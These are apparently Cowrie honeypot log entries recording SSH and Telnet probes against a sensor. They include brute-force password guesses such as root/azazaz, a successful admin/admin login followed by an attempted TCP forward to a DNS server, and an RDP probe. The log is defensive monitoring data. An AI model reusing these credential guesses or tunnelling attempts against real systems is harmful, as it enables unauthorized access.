{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:31.861089Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:31.921567Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:34:dc:6a:5f:5a:21:0f:fb:a0:3e:e4:d0:20:9f:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHYT8cZPKjtSN9wcFOJWoZyP5s+h6cp9aOuyljY4zISg","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a0:34:dc:6a:5f:5a:21:0f:fb:a0:3e:e4:d0:20:9f:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.177636Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:34:dc:6a:5f:5a:21:0f:fb:a0:3e:e4:d0:20:9f:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHYT8cZPKjtSN9wcFOJWoZyP5s+h6cp9aOuyljY4zISg","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.182488Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:af:d7:39:c5:b0:6f:2b:32:15:06:ec:ee:c3:ae:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJjz8ZNaUF9hpW49F8G3ZsL5nWySuyV2DcXbHycL0qvJsnwpE+zuWq1V2UrKK4i+Vmbk098s/NJVqG+YvByLDeMVZ870wdAj/ZnvYkJMkaNZU7+ty6xIeynNISRlPV4UzsjSL3PWcVo9hkx3pj5hwjP1u4CtWMqLU0TwDQW0bm30thzWcyl57pFWAhG20q/fm6p6nYG0agmIN8jPwiGjF1Fyct7FGXclkt0hiYOaI91iH4Yn5ckSoO735E8YmL3H4fM8FKLM5B2/xBjJr3aU06S/ejf87IipPKVNHn6ejeNsMyW9Zrrj4zglraSUgoAafdWWAl4xyqpSz7wNvvQ1HLB60+QmMcteMUlGR48S+ogD937hh6hNWkBYb68YAN9IVK+CCSH/nJzfKOkezTFmWZH5IuIYQDTHmSi7EHVJZbniu/KPlboI3jH2N2DhDKuuH8etGz8LcGlFGDoIwgaM9kebgTX67+rnp4gWgENztYLSlB9pvQ3mRKCF7Am3LsQCu8lMA9oJzJU6sEyPI+Vgey1Rlz9afV0odAvcywthLvIrvQlBBxrb+RQL7Sb/L0FZ9XoeSVh+nRnyfCo73BBSRdLN0RbmCHwBkAxi+arqffO+hjgxrHCgpSVzg9DwXqJjL9WVPrKiq/FvYibBiXBGcbYkOfFlqjWHjL7VJzU7TlzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:af:d7:39:c5:b0:6f:2b:32:15:06:ec:ee:c3:ae:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.239643Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:af:d7:39:c5:b0:6f:2b:32:15:06:ec:ee:c3:ae:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJjz8ZNaUF9hpW49F8G3ZsL5nWySuyV2DcXbHycL0qvJsnwpE+zuWq1V2UrKK4i+Vmbk098s/NJVqG+YvByLDeMVZ870wdAj/ZnvYkJMkaNZU7+ty6xIeynNISRlPV4UzsjSL3PWcVo9hkx3pj5hwjP1u4CtWMqLU0TwDQW0bm30thzWcyl57pFWAhG20q/fm6p6nYG0agmIN8jPwiGjF1Fyct7FGXclkt0hiYOaI91iH4Yn5ckSoO735E8YmL3H4fM8FKLM5B2/xBjJr3aU06S/ejf87IipPKVNHn6ejeNsMyW9Zrrj4zglraSUgoAafdWWAl4xyqpSz7wNvvQ1HLB60+QmMcteMUlGR48S+ogD937hh6hNWkBYb68YAN9IVK+CCSH/nJzfKOkezTFmWZH5IuIYQDTHmSi7EHVJZbniu/KPlboI3jH2N2DhDKuuH8etGz8LcGlFGDoIwgaM9kebgTX67+rnp4gWgENztYLSlB9pvQ3mRKCF7Am3LsQCu8lMA9oJzJU6sEyPI+Vgey1Rlz9afV0odAvcywthLvIrvQlBBxrb+RQL7Sb/L0FZ9XoeSVh+nRnyfCo73BBSRdLN0RbmCHwBkAxi+arqffO+hjgxrHCgpSVzg9DwXqJjL9WVPrKiq/FvYibBiXBGcbYkOfFlqjWHjL7VJzU7TlzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.243615Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:74:f1:d4:7a:a2:03:77:04:47:8d:ef:71:68:f7:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1CAI9HJgIA03ur9vYhIY7ZWE3hXqR6D4uToeu3L+/czmkX5ASBKItOyvmASV8agORWXPZ/AYJaG62rJ/htA/a+aFmhYgZVM3vNp1ORM4lBShK8OinVJ2jmnu/XtJ6q8okZU5JfUI9UwAMs4eT65pfXxppmqCUC470Qmn+DgVbYX2G8EXMsCvTOrmCtZiPiYjsV1YZYx10NBZKJZCMupfBxCNQ7MjXijgYbjh5NNzwobokmvbChhgHpsaI7I+sAt8GkSO9PUKWyyxTtBcjdmzM1H61Yn9V8Oa5RhAYcwzm3kail7yhPB0bQxwamAvlO4PpEAZrNxSqntxGtnnp+HI7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:74:f1:d4:7a:a2:03:77:04:47:8d:ef:71:68:f7:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.301828Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:74:f1:d4:7a:a2:03:77:04:47:8d:ef:71:68:f7:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1CAI9HJgIA03ur9vYhIY7ZWE3hXqR6D4uToeu3L+/czmkX5ASBKItOyvmASV8agORWXPZ/AYJaG62rJ/htA/a+aFmhYgZVM3vNp1ORM4lBShK8OinVJ2jmnu/XtJ6q8okZU5JfUI9UwAMs4eT65pfXxppmqCUC470Qmn+DgVbYX2G8EXMsCvTOrmCtZiPiYjsV1YZYx10NBZKJZCMupfBxCNQ7MjXijgYbjh5NNzwobokmvbChhgHpsaI7I+sAt8GkSO9PUKWyyxTtBcjdmzM1H61Yn9V8Oa5RhAYcwzm3kail7yhPB0bQxwamAvlO4PpEAZrNxSqntxGtnnp+HI7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.306235Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:e7:8b:23:1d:a9:54:8d:1d:4d:15:33:86:ec:5f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX3uDuQ8EUJJKs8pTFJps4nb2S1CrXzsT9OalYZPKguNh7T9JMZAtIoK1uvqbhGXPdGvkFg4eijI9XwyRBtOXZI5JlkPgn6b2g2RNgu9E4Bk3QAX6JQ4aZya844vcwtfgLb8biP96+BuCncxvClY4n3WUF9HJr7T1vW1GyR8PngE6ELBPWyPsQmSU1DZelpI5uRdWF8hOGZD1wVp0E4OLd+9L8/+R30bh+NKkuJRPbank8ugkqXzd9e/gp/tk94ZIP5t0cD5d7YBiMQq4OjXyqJAVJv3IoPMPu+desf6q1ZVY8idIU9c8a3uJgSbOCXhxU1/c0xqWALo6LwOQcLmB1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:e7:8b:23:1d:a9:54:8d:1d:4d:15:33:86:ec:5f:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.366148Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:e7:8b:23:1d:a9:54:8d:1d:4d:15:33:86:ec:5f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX3uDuQ8EUJJKs8pTFJps4nb2S1CrXzsT9OalYZPKguNh7T9JMZAtIoK1uvqbhGXPdGvkFg4eijI9XwyRBtOXZI5JlkPgn6b2g2RNgu9E4Bk3QAX6JQ4aZya844vcwtfgLb8biP96+BuCncxvClY4n3WUF9HJr7T1vW1GyR8PngE6ELBPWyPsQmSU1DZelpI5uRdWF8hOGZD1wVp0E4OLd+9L8/+R30bh+NKkuJRPbank8ugkqXzd9e/gp/tk94ZIP5t0cD5d7YBiMQq4OjXyqJAVJv3IoPMPu+desf6q1ZVY8idIU9c8a3uJgSbOCXhxU1/c0xqWALo6LwOQcLmB1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.370658Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:de:bf:5a:89:ec:a7:ad:8c:d6:b0:43:c7:07:5f:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjMy0RP3s1IbYh9XCT4W5MrSdOjg3VHkVrugMJflcFwGJPM2egEv6xMzahtXnDh2yQJe4qkCi/kezHmJdKBtq1I9O6nevATIe8jk0f42jj0wmi77lEgZ3/QkJL8OeRa7AxGLBT0z9lKC3MSc7fq0obg+wMulLSUYipR0DNUvLDsjJPInjVQi3AxcLU4EEBFkEEODNTF0t7TSTkg0yIlmNxfNq7ARCY++XUUXZb5w+roGg1XvEuTIHudHM5SrfHFrWhNTEyi67b70Oc+ila0MF3cTE46iY082gQOthoKO4H24PcVXy7GDTITMhsMUxQbBdEB5IX53/nOLh1KYf51lVd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:de:bf:5a:89:ec:a7:ad:8c:d6:b0:43:c7:07:5f:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.427785Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:de:bf:5a:89:ec:a7:ad:8c:d6:b0:43:c7:07:5f:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjMy0RP3s1IbYh9XCT4W5MrSdOjg3VHkVrugMJflcFwGJPM2egEv6xMzahtXnDh2yQJe4qkCi/kezHmJdKBtq1I9O6nevATIe8jk0f42jj0wmi77lEgZ3/QkJL8OeRa7AxGLBT0z9lKC3MSc7fq0obg+wMulLSUYipR0DNUvLDsjJPInjVQi3AxcLU4EEBFkEEODNTF0t7TSTkg0yIlmNxfNq7ARCY++XUUXZb5w+roGg1XvEuTIHudHM5SrfHFrWhNTEyi67b70Oc+ila0MF3cTE46iY082gQOthoKO4H24PcVXy7GDTITMhsMUxQbBdEB5IX53/nOLh1KYf51lVd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.432229Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:32.489784Z","src_ip":"199.127.60.187","session":"65e283d6136b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cdadda51559","protocol":"telnet","message":"New connection: 152.42.224.71:42402 (10.17.0.5:23) [session: 9cdadda51559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:41.209231Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50683,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf3c77c7774","protocol":"ssh","message":"New connection: 152.42.212.128:50683 (159.203.135.109:22) [session: 7bf3c77c7774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:44.630472Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:44.635537Z","src_ip":"152.42.212.128","session":"7bf3c77c7774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:44.639930Z","src_ip":"152.42.212.128","session":"7bf3c77c7774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.20.86","src_port":47594,"dst_ip":"10.17.0.5","dst_port":23,"session":"05133311a4e3","protocol":"telnet","message":"New connection: 104.248.20.86:47594 (10.17.0.5:23) [session: 05133311a4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:00.560219Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56134,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0923611ef20","protocol":"ssh","message":"New connection: 147.45.197.250:56134 (10.17.0.5:22) [session: c0923611ef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:03.974815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:03.981210Z","src_ip":"147.45.197.250","session":"c0923611ef20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:04.082569Z","src_ip":"147.45.197.250","session":"c0923611ef20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azazaz","message":"login attempt [root/azazaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:04.357710Z","src_ip":"147.45.197.250","session":"c0923611ef20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:05.451795Z","src_ip":"147.45.197.250","session":"c0923611ef20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45568,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40e299f9b6a","protocol":"ssh","message":"New connection: 87.251.64.176:45568 (10.17.0.5:22) [session: c40e299f9b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.111228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.117237Z","src_ip":"87.251.64.176","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.214422Z","src_ip":"87.251.64.176","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.519687Z","src_ip":"87.251.64.176","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.629853Z","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.728795Z","src_ip":"87.251.64.176","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:15.989923Z","src_ip":"87.251.64.176","session":"c40e299f9b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":48874,"dst_ip":"10.17.0.5","dst_port":22,"session":"31ed33e44632","protocol":"ssh","message":"New connection: 103.98.149.87:48874 (10.17.0.5:22) [session: 31ed33e44632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:17.433688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:17.439967Z","src_ip":"103.98.149.87","session":"31ed33e44632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:17.736752Z","src_ip":"103.98.149.87","session":"31ed33e44632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfreyjdf","message":"login attempt [root/cfreyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:18.537997Z","src_ip":"103.98.149.87","session":"31ed33e44632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:30:19.855224Z","src_ip":"103.98.149.87","session":"31ed33e44632","protocol":"ssh"}
